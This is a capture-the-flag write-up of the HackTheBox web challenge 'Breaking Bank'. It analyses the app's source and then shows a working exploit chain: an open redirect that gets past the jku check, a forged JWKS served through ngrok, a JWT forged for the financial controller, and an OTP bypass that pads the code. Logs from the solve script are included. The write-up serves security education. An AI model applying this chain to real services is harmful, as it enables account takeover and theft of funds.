Breaking Bank
12 minutes to read
We are given a web project using Fastify and Node.js in the backend and React on the frontend:
$ tree -L 4
.
βββ Dockerfile
βββ build-docker.sh
βββ challenge
βΒ Β βββ components.json
βΒ Β βββ eslint.config.js
βΒ Β βββ index.html
βΒ Β βββ package.json
βΒ Β βββ postcss.config.js
βΒ Β βββ public
βΒ Β βΒ Β βββ favicon.webp
βΒ Β βΒ Β βββ logo.webp
βΒ Β βββ server
βΒ Β βΒ Β βββ index.js
βΒ Β βΒ Β βββ middleware
βΒ Β βΒ Β βΒ Β βββ jwksMiddleware.js
βΒ Β βΒ Β βΒ Β βββ otpMiddleware.js
βΒ Β βΒ Β βΒ Β βββ rateLimiterMiddleware.js
βΒ Β βΒ Β βββ package.json
βΒ Β βΒ Β βββ routes
βΒ Β βΒ Β βΒ Β βββ analytics.js
βΒ Β βΒ Β βΒ Β βββ auth.js
βΒ Β βΒ Β βΒ Β βββ crypto.js
βΒ Β βΒ Β βΒ Β βββ dashboard.js
βΒ Β βΒ Β βΒ Β βββ jwks.js
βΒ Β βΒ Β βΒ Β βββ users.js
βΒ Β βΒ Β βββ services
βΒ Β βΒ Β βΒ Β βββ analyticsService.js
βΒ Β βΒ Β βΒ Β βββ coinService.js
βΒ Β βΒ Β βΒ Β βββ flagService.js
βΒ Β βΒ Β βΒ Β βββ initializer.js
βΒ Β βΒ Β βΒ Β βββ jwksService.js
βΒ Β βΒ Β βΒ Β βββ otpService.js
βΒ Β βΒ Β βΒ Β βββ transactionService.js
βΒ Β βΒ Β βΒ Β βββ userService.js
βΒ Β βΒ Β βββ utils
βΒ Β βΒ Β βββ redisClient.js
βΒ Β βΒ Β βββ redisUtils.js
βΒ Β βββ src
βΒ Β βΒ Β βββ App.css
βΒ Β βΒ Β βββ App.tsx
βΒ Β βΒ Β βββ components
βΒ Β βΒ Β βΒ Β βββ Layout.tsx
βΒ Β βΒ Β βΒ Β βββ LogoutButton.tsx
βΒ Β βΒ Β βΒ Β βββ MarketingCTA.tsx
βΒ Β βΒ Β βΒ Β βββ ProtectedRoute.tsx
βΒ Β βΒ Β βΒ Β βββ mode-toggle.tsx
βΒ Β βΒ Β βΒ Β βββ theme-provider.tsx
βΒ Β βΒ Β βΒ Β βββ ui
βΒ Β βΒ Β βββ context
βΒ Β βΒ Β βΒ Β βββ FriendsContext.tsx
βΒ Β βΒ Β βββ hooks
βΒ Β βΒ Β βΒ Β βββ use-toast.ts
βΒ Β βΒ Β βββ index.css
βΒ Β βΒ Β βββ lib
βΒ Β βΒ Β βΒ Β βββ utils.ts
βΒ Β βΒ Β βββ main.tsx
βΒ Β βΒ Β βββ pages
βΒ Β βΒ Β βΒ Β βββ Dashboard.tsx
βΒ Β βΒ Β βΒ Β βββ Friends.tsx
βΒ Β βΒ Β βΒ Β βββ Login.tsx
βΒ Β βΒ Β βΒ Β βββ Market.tsx
βΒ Β βΒ Β βΒ Β βββ Portfolio.tsx
βΒ Β βΒ Β βΒ Β βββ Register.tsx
βΒ Β βΒ Β βΒ Β βββ Transaction.tsx
βΒ Β βΒ Β βββ vite-env.d.ts
βΒ Β βββ tailwind.config.js
βΒ Β βββ tsconfig.app.json
βΒ Β βββ tsconfig.json
βΒ Β βββ tsconfig.node.json
βΒ Β βββ vite.config.ts
βββ config
βΒ Β βββ nginx.conf
βΒ Β βββ supervisord.conf
βββ flag.txt
βββ htb
βββ wrapper.py
16 directories, 60 files
I will be using the Docker container for local development, because we will need to automate the solution in a script. Then, we only need to spawn the remote instance and run the script to get the flag.
Source code analysis
There are a lot of files to read. However, instead of reading each of them one by one, it is better to go backwards.
Finding the objective
For example, the flag is stored as a file (flag.txt
), so we must find places where this file is used, and it only appears at challenge/server/services/flagService.js
:
import { getBalancesForUser } from '../services/coinService.js';
import fs from 'fs/promises';
const FINANCIAL_CONTROLLER_EMAIL = "financial-controller@frontier-board.htb";
/**
* Checks if the financial controller's CLCR wallet is drained
* If drained, returns the flag.
*/
export const checkFinancialControllerDrained = async () => {
const balances = await getBalancesForUser(FINANCIAL_CONTROLLER_EMAIL);
const clcrBalance = balances.find((coin) => coin.symbol === 'CLCR');
if (!clcrBalance || clcrBalance.availableBalance <= 0) {
const flag = (await fs.readFile('/flag.txt', 'utf-8')).trim();
return { drained: true, flag };
}
return { drained: false };
};
This function checkFinancialControllerDrained
simply checks if the balance of the FINANCIAL_CONTROLLER_EMAIL
user is zero. If so happens, the flag will be returned. This function is called from challenge/server/routes/dashboard.js
:
import { checkFinancialControllerDrained } from '../services/flagService.js';
export default async function dashboardRouter(fastify) {
fastify.get('/', async (req, reply) => {
if (!req.user) {
reply.status(401).send({ error: 'Unauthorized: User not authenticated' });
return;
}
const { email } = req.user;
if (!email) {
reply.status(400).send({ error: 'Email not found in token' });
return;
}
const { drained, flag } = await checkFinancialControllerDrained();
if (drained) {
reply.send({ message: 'Welcome to the Dashboard!', flag });
return;
}
reply.send({ message: 'Welcome to the Dashboard!' });
});
}
With this, we already know that the objective is to drain the balance of FINANCIAL_CONTROLLER_EMAIL
. There is a way to perform transactions in challenge/server/routes/crypto.js
:
fastify.post(
'/transaction',
{ preHandler: [rateLimiterMiddleware(), otpMiddleware()] },
async (req, reply) => {
const { to, coin, amount } = req.body;
const userId = req.user.email;
try {
if (!to || !coin || !amount) {
return reply.status(400).send({ error: "Missing required fields" });
}
const supportedCoins = await getSupportedCoins();
if (!supportedCoins.includes(coin.toUpperCase())) {
return reply.status(400).send({ error: "Unsupported coin symbol." });
}
const parsedAmount = parseFloat(amount);
if (isNaN(parsedAmount) || parsedAmount <= 0) {
return reply.status(400).send({ error: "Amount must be a positive number." });
}
const userExists = await validateUserExists(to);
if (!userExists) {
return reply.status(404).send({ error: "Recipient user does not exist." });
}
if (userId === to) {
return reply.status(400).send({ error: "Cannot perform transactions to yourself." });
}
const result = await transactionByEmail(to, userId, parseFloat(amount), coin.toUpperCase());
if (!result.success) {
return reply.status(result.status).send({ error: result.error });
}
reply.send(result);
} catch (err) {
console.error("Transaction error:", err);
reply.status(err.status || 500).send({ error: err.error || "An unknown error occurred during the transaction." });
}
}
);
}
We need to specify to
, amount
and coin
in the transaction request. So, the idea is to create an account on the platform and somehow transfer all the money from FINANCIAL_CONTROLLER_EMAIL
to us.
There is another endpoint to get the balance of the current account:
fastify.get('/balance', async (req, reply) => {
const userId = req.user.email;
try {
const balances = await getBalancesForUser(userId);
reply.send(balances);
} catch (error) {
console.error('Error fetching user balances:', error);
reply.status(500).send({ error: 'Failed to fetch user balances' });
}
});
This handler calls getBalancesForUser
, implemented in challenge/server/services/coinService.js
:
export const getBalancesForUser = async (userId) => {
const walletKey = `wallet:${userId}`;
const wallet = await hgetAllObject(walletKey);
if (!wallet || Object.keys(wallet).length === 0) {
return COINS.map((coin) => ({
symbol: coin.symbol,
name: coin.name,
availableBalance: 0,
}));
}
return COINS.map((coin) => ({
symbol: coin.symbol,
name: coin.name,
availableBalance: parseFloat(wallet[coin.symbol] || 0),
}));
};
So we will get symbol
, coin
and availableBalance
.
Session management
Alright, but how are user sessions managed? Well, there are some middleware registered in challenge/server/index.js
:
fastify.register(async (securedRoutes) => {
securedRoutes.addHook('preHandler', jwksMiddleware());
securedRoutes.register(usersRouter, { prefix: '/api/users' });
securedRoutes.register(dashboardRouter, { prefix: '/api/dashboard' });
securedRoutes.register(cryptoRoutes, { prefix: '/api/crypto' });
});
This is jwksMiddleware
:
import { verifyToken } from '../services/jwksService.js';
export const jwksMiddleware = () => {
return async (req, reply) => {
const token = req.headers.authorization?.split(' ')[1];
if (!token) {
reply.status(401).send({ error: 'Access token is required' });
return;
}
try {
const decoded = await verifyToken(token);
req.user = {
email: decoded.email,
};
} catch (error) {
console.log(error);
reply.status(401).send({ error: 'Invalid Signature' });
}
};
};
This middleware takes a JWT token from the Authorization
header and tries to verify it. On success, the email is extracted from the JWT token payload and saved in req.user
for the next endpoint handlers.
The JWT implementation uses JSON Web Key Set (JWKS), which is a way to store a pair of private/public keys in order to sign/verify tokens. Obviously, only the public key can be exposed on the web server (this time, it is found at /.well-known/jwks.json
).
The JWT token verification function is this one. It is a bit long, but not very hard to understand:
export const verifyToken = async (token) => {
try {
const decodedHeader = jwt.decode(token, { complete: true });
if (!decodedHeader || !decodedHeader.header) {
throw new Error('Invalid token: Missing header');
}
const { kid, jku } = decodedHeader.header;
if (!jku) {
throw new Error('Invalid token: Missing header jku');
}
// TODO: is this secure enough?
if (!jku.startsWith('http://127.0.0.1:1337/')) {
throw new Error('Invalid token: jku claim does not start with http://127.0.0.1:1337/');
}
if (!kid) {
throw new Error('Invalid token: Missing header kid');
}
if (kid !== KEY_ID) {
return new Error('Invalid token: kid does not match the expected key ID');
}
let jwks;
try {
const response = await axios.get(jku);
if (response.status !== 200) {
throw new Error(`Failed to fetch JWKS: HTTP ${response.status}`);
}
jwks = response.data;
} catch (error) {
throw new Error(`Error fetching JWKS from jku: ${error.message}`);
}
if (!jwks || !Array.isArray(jwks.keys)) {
throw new Error('Invalid JWKS: Expected keys array');
}
const jwk = jwks.keys.find((key) => key.kid === kid);
if (!jwk) {
throw new Error('Invalid token: kid not found in JWKS');
}
if (jwk.alg !== 'RS256') {
throw new Error('Invalid key algorithm: Expected RS256');
}
if (!jwk.n || !jwk.e) {
throw new Error('Invalid JWK: Missing modulus (n) or exponent (e)');
}
const publicKey = jwkToPem(jwk);
const decoded = jwt.verify(token, publicKey, { algorithms: ['RS256'] });
return decoded;
} catch (error) {
console.error(`Token verification failed: ${error.message}`);
throw error;
}
};
The JWT token header must include jku
(JWKS Key URL) and kid
(Key ID) claims, which are useful when JWKS is used. The function checks that jku
exists and starts with http://127.0.0.1:1337/
. On the other hand, it checks that the kid
exists and equals KEY_ID
, which is randomly generated as a UUIDv4:
const KEY_ID = uuidv4();
If these checks pass, then the server uses axios
to retrieve the public key from the JWKS stored at the jku
in order to verify the JWT token.
OTP implementation
Last but not least, the transactions handler has the following OTP middleware:
import { hgetField } from '../utils/redisUtils.js';
export const otpMiddleware = () => {
return async (req, reply) => {
const userId = req.user.email;
const { otp } = req.body;
const redisKey = `otp:${userId}`;
const validOtp = await hgetField(redisKey, 'otp');
if (!otp) {
reply.status(401).send({ error: 'OTP is missing.' });
return
}
if (!validOtp) {
reply.status(401).send({ error: 'OTP expired or invalid.' });
return;
}
// TODO: Is this secure enough?
if (!otp.includes(validOtp)) {
reply.status(401).send({ error: 'Invalid OTP.' });
return;
}
};
};
This middleware is not secure, due to the use of otp.includes
(the TODO
comment might be a hint). Assuming that the expected OTP code is 1337
, the problem here is that the function doesn’t check that the received OTP code is exactly 1337
. An OTP code like 000013379999
will also pass the check!
Therefore, when providing the OTP code, we can simply put all possible numbers from 0000
to 9999
together so that we always pass the check. We could have improved the size of the string using a De Bruijn sequence, but why should we to complicate things?
Solution
Once we have analyzed the relevant code, let’s think of a way to impersonate FINANCIAL_CONTROLLER_EMAIL
in order to perform the transaction.
JWKS forgery
We only need to find a way to break into FINANCIAL_CONTROLLER_EMAIL
’s session. For this, we need to forge a valid JWT token. When JWKS is used, normally we need to modify the jku
so that it points to a controlled JWKS. For more information, you can check HackTricks, or my write-up for Unicode, where I go over the same problem.
Since the server checks that the jku
starts with http://127.0.0.1:1337/
, we must use an existing endpoint on the server. We could have abused the HTTP URI format http://username:password@ip:port/path
if the server hadn’t checked the trailing /
. But that’s not the situation. Here we need to find a way to upload files, or an Open Redirect.
Actually, if we search for redirect
there is a function that directly allows this (challenge/server/routes/analytics.js
), with another TODO
comment:
fastify.get('/redirect', async (req, reply) => {
const { url, ref } = req.query;
if (!url || !ref) {
return reply.status(400).send({ error: 'Missing URL or ref parameter' });
}
// TODO: Should we restrict the URLs we redirect users to?
try {
await trackClick(ref, decodeURIComponent(url));
reply.header('Location', decodeURIComponent(url)).status(302).send();
} catch (error) {
console.error('[Analytics] Error during redirect:', error.message);
reply.status(500).send({ error: 'Failed to track analytics data.' });
}
});
So, we found the intended way of forging the JWKS. Actually, there was another TODO
comment on the jku
check:
// TODO: is this secure enough?
if (!jku.startsWith('http://127.0.0.1:1337/')) {
throw new Error('Invalid token: jku claim does not start with http://127.0.0.1:1337/');
}
Manual solution
Let’s solve the challenge manually in order to automate it later. First of all, we can register an account and log in afterwards:
At this point, we can see the JWT token at localStorage
:
We can get the kid
from here, because it appears in the token header:
Now, we need to create our own JWKS. We can take the server’s JWKS as a guide:
For this, let’s create a pair of RSA keys using pycryptodome
:
$ python3 -q
>>> from Crypto.PublicKey import RSA
>>>
>>> priv_key = RSA.generate(2048)
>>> pub_key = priv_key.public_key()
>>>
>>> pub_key
RsaKey(n=25314123931743675052824453981182977134436528688826952040447784440806161119243740704633906064190223800039418322338605157187053537541310458478556728149499187058443823246621483526704944071774405486623378267808083185245286094678628798643408640667746310984465385218669103648345014346901755719508615165063708012320195010741598928709355708088034519200615081939149878672369269392821760091518693661062225779193081546659230413648024127831194865050807930174942775465371018731591786695215101280485994426322383217615047979395537563250574747766603533608256882640685336277236530039467305324521671131327284376222530860119163258400601, e=65537)
Now, we need to create the JWKS. We will need to Base64-encode the public RSA key as follows:
>>> import json
>>>
>>> from Crypto.Util.number import long_to_bytes
>>>
>>> key = {
... 'kty': 'RSA',
... 'n': b64encode(long_to_bytes(int(pub_key.n))).decode(),
... 'e': b64encode(long_to_bytes(int(pub_key.e))).decode(),
... 'alg': 'RS256',
... 'use': 'sig',
... 'kid': 'e5bd31a5-ad9c-48dd-bd2b-c17f3e7a426d'
... }
>>>
>>> with open('jwks.json', 'w') as f:
... json.dump({'keys': [key]}, f, indent=2)
...
>>>
At this point, we can start a Python server to serve the jwks.json
file and expose the server with ngrok
:
$ python3 -m http.server
Serving HTTP on :: port 8000 (http://[::]:8000/) ...
$ ngrok http 8000
ngrok
Sign up to try new private endpoints https://ngrok.com/new-features-update?ref=private
Session Status online
Account Rocky (Plan: Free)
Version 3.18.4
Region United States (us)
Web Interface http://127.0.0.1:4040
Forwarding https://abcd-12-34-56-78.ngrok-free.app -> http://localhost:8000
Connections ttl opn rt1 rt5 p50 p90
0 0 0.00 0.00 0.00 0.00
Next, we need to forge a JWT token as FINANCIAL_CONTROLLER_EMAIL
with our controlled jku
with the Open Redirect:
>>> target_email = 'financial-controller@frontier-board.htb'
>>> ngrok = 'https://abcd-12-34-56-78.ngrok-free.app'
>>> jku = f'http://127.0.0.1:1337/api/analytics/redirect?url={ngrok}/jwks.json&ref=x'
>>> kid = 'e5bd31a5-ad9c-48dd-bd2b-c17f3e7a426d'
>>>
>>> import jwt
>>>
>>> target_token = jwt.encode(
... payload={'email': target_email},
... key=priv_key.export_key().decode(),
... algorithm='RS256',
... headers={'kid': kid, 'jku': jku}
... )
>>>
>>> target_token
'eyJhbGciOiJSUzI1NiIsImprdSI6Imh0dHA6Ly8xMjcuMC4wLjE6MTMzNy9hcGkvYW5hbHl0aWNzL3JlZGlyZWN0P3VybD1odHRwczovL2FiY2QtMTItMzQtNTYtNzgubmdyb2stZnJlZS5hcHAvandrcy5qc29uJnJlZj14Iiwia2lkIjoiZTViZDMxYTUtYWQ5Yy00OGRkLWJkMmItYzE3ZjNlN2E0MjZkIiwidHlwIjoiSldUIn0.eyJlbWFpbCI6ImZpbmFuY2lhbC1jb250cm9sbGVyQGZyb250aWVyLWJvYXJkLmh0YiJ9.gY90H6sdU-OEmp-U-jbzF8QkTlmOrA9vEA7TEng1X69bI7MEpReGZ0632PmL7oqbDENGZPYXCVUmQkYon84kfc16c4fhJX3BPgjVI1wUiUiMaKdtwZnPo_A5p-DyOE76NlrtF2S6b9HWchvhGP2hZi77Gt2Imm8m6qk-oaHT0pqdhmKbzxuHyW3lsxOtOGUtUE8qYJ9P6bDS5utmCVUG73D-OOGlvUPeHjW3w10ZBxWNBEsGINCCGswZzeghavVu28hsxoJfxUayzazZhmgx1I9JTFXotRaMKbvCG21_m9oUBbn2ziny3Oq3V69qa-zgy3YQxDjBtXax6GPPtPT4GvQ'
Now we can update localStorage
and we will become FINANCIAL_CONTROLLER_EMAIL
. A proof of this is that we can see their balance when navigating to “Transactions”:
At this point we only need to perform a transaction to us (asdf@asdf.com
). Notice that although the UI says we need to be friends to do the transaction, it is not checked on the backend. However, to send the request from the UI, we need to be friends. We can use an incognito tab to log in into our account.
Once we are friends, we can select the email recipient and the amount to transfer:
But we need to enter the OTP code:
Remember the trick to bypass it. We can enter a dummy OTP code and then change the request:
At this point, we will see the flag on the dashboard:
Automated solution
I decided to program all the process in a single Python script. There is no manual task except for starting ngrok
on port 8000.
Let’s restart the Docker container and try it:
$ python3 solve.py 127.0.0.1:1337 https://abcd-12-34-56-78.ngrok-free.app
[*] Registering account: asdf@asdf.com
[+] Token: eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6Ijc3YTBiYzRlLTAxNmEtNGMwNS1iNzI3LTJjZjc0ZmVlZWExZCIsImprdSI6Imh0dHA6Ly8xMjcuMC4wLjE6MTMzNy8ud2VsbC1rbm93bi9qd2tzLmpzb24ifQ.eyJlbWFpbCI6ImFzZGZAYXNkZi5jb20iLCJpYXQiOjE3MzQ2MjQwMjl9.hw_Z6wVzwOCHLEbJmyrERqISDt5PSF2B8vP1kfUaXVkvEAc_2qT27e7I0wUckzaghRZeRs-PgkCEWnRbpgrz5FFfXwBYPw892tfYBV5wF8KAkHHNIG71aEtuSk9oK_IqFLDgDqBPGKzCR5zosxC28wAeznL40kTHN651Xrbrg3KbjAG70XpOBx2hlCY5UliCx2SDBgXEMq74ObymSPWVJLhat1PIIUcPVfuFMsJ-4_e8RsyIMdtkPfjB010wscM7nf6iq2AJalmtL79W5Jqh5aNIheoJ-KEOcasHGcj9jciHIreH1RM9lnPaHeZuvy0OIYzePaqD8DBCHR8ILzZh_A
[*] Generating malicious jwks...
[*] Found kid: 77a0bc4e-016a-4c05-b727-2cf74feeea1d
[+] Target token: eyJhbGciOiJSUzI1NiIsImprdSI6Imh0dHA6Ly8xMjcuMC4wLjE6MTMzNy9hcGkvYW5hbHl0aWNzL3JlZGlyZWN0P3VybD1odHRwczovL2FiY2QtMTItMzQtNTYtNzgubmdyb2stZnJlZS5hcHAvandrcy5qc29uJnJlZj14Iiwia2lkIjoiNzdhMGJjNGUtMDE2YS00YzA1LWI3MjctMmNmNzRmZWVlYTFkIiwidHlwIjoiSldUIn0.eyJlbWFpbCI6ImZpbmFuY2lhbC1jb250cm9sbGVyQGZyb250aWVyLWJvYXJkLmh0YiJ9.mBFY21SVsr_8akybnJzy1-BqjT4jgujuCxp8toAEC32ipr9V3T1M9jhgoU_MB46i3G5OTgb-O3Q3bQTgC-OVI9IIRBoseBtD-rT2F1LSMXQvCkvjEaZzcQpT-n-H1UJ8dgAl_loZ-lP98fBT5qg9x_w1CRyBfp8FGDurNnyJvnc2rO4k4mJIvx_I7q4ExqD6cPc0lUXtEwc7tgJUl_zUkQtRej98GqWZG0gk1P1Whs6OFz0azRWNhw5MTEsiBE80jlM_mVdcv9FVTdr6BVLVeDPgPYHgy2Zo888QqpUzrvYxBYiC3MWMhaA0xTexlHDoblnxyedFbsifkBQUFxP2sA
[*] Target balance: 27886692158 CLCR
[*] Transaction successful
[+] Flag: HTB{f4k3_fl4g_f0r_t35t1ng}
Flag
Now, let’s run the script on the remote instance to get the flag:
$ python3 solve.py 94.237.61.84:50569 https://abcd-12-34-56-78.ngrok-free.app
[*] Registering account: asdf@asdf.com
[+] Token: eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6IjM4ZTQ3ZDhmLWUxM2EtNDE5My05NTcxLTc3OWU5MGFiNTY5NiIsImprdSI6Imh0dHA6Ly8xMjcuMC4wLjE6MTMzNy8ud2VsbC1rbm93bi9qd2tzLmpzb24ifQ.eyJlbWFpbCI6ImFzZGZAYXNkZi5jb20iLCJpYXQiOjE3MzQ1MzY2NTR9.M7x-I1_annu10xtapy3CGT7WqhfZ8sDWGq_FMlsZAz1bs227bXWLxkpqGF4w-m2ONGktEXyJhsnEpc8pXhISd-LRq6xGGsS1PrukLCGaHaKdOUrmFL1raXZ5DQvWR5QUxlE-z4H_ED7DgovLb6YswOH9VwX9E56rGGT7GFHjuQ3A4lj4vM1dkr1rdrPEosk4tPhjMDXAr57lvyKuYDIKozxF9amuBo4hM6ycI_OkcdW-5fVOWLPnmaqWlBR58B0EfC285lCik4HV1klhy3xt7qBYxoUZt4Xw2ow9lBZNv7rUeWUMhY3MJpgR6NSdpUEMBNXrdV7uzSACx-XRZzbNVA
[*] Generating malicious jwks...
[*] Found kid: 38e47d8f-e13a-4193-9571-779e90ab5696
[+] Target token: eyJhbGciOiJSUzI1NiIsImprdSI6Imh0dHA6Ly8xMjcuMC4wLjE6MTMzNy9hcGkvYW5hbHl0aWNzL3JlZGlyZWN0P3VybD1odHRwczovL2FiY2QtMTItMzQtNTYtNzgubmdyb2stZnJlZS5hcHAvandrcy5qc29uJnJlZj14Iiwia2lkIjoiMzhlNDdkOGYtZTEzYS00MTkzLTk1NzEtNzc5ZTkwYWI1Njk2IiwidHlwIjoiSldUIn0.eyJlbWFpbCI6ImZpbmFuY2lhbC1jb250cm9sbGVyQGZyb250aWVyLWJvYXJkLmh0YiJ9.opuJBVVJKgKggC1QM1omcVEJG1_x5Y2TdXUfYM6v0aaYmIT0rbiXMi_RlAhHqVOPP-kg_6VkYuyfqV27DjAxNLEXKI7TZueLv0gB9v2S4KshNyLg-kBpq-CTKo-9BcjvEKM_-5nn25nyHSg5letwvP58f4tB3rDDFdz0X1hNNrwDMLXG5ARCY9iDwD0MTIUaL5qW1QpPfah6zUygOVwqGA9_B1GhRjyjhOK3yLWvn7c-emVB4NCuziI57-4iEHQe_HHjSLoL7QVVfDs9g3Hp8V1ptc9riFF_IGHHFGgfr7Yy8CbomyO-kRgAsTJATdvcIk2GcR_sld0fm4mTl--1iQ
[*] Target balance: 31897108123 CLCR
[*] Transaction successful
[+] Flag: HTB{rugg3d_pu11ed_c0nqu3r3d_d14m0nd_h4nd5_74245cdadddc0d05384b661c3b692eff}
The full script can be found in here: solve.py
.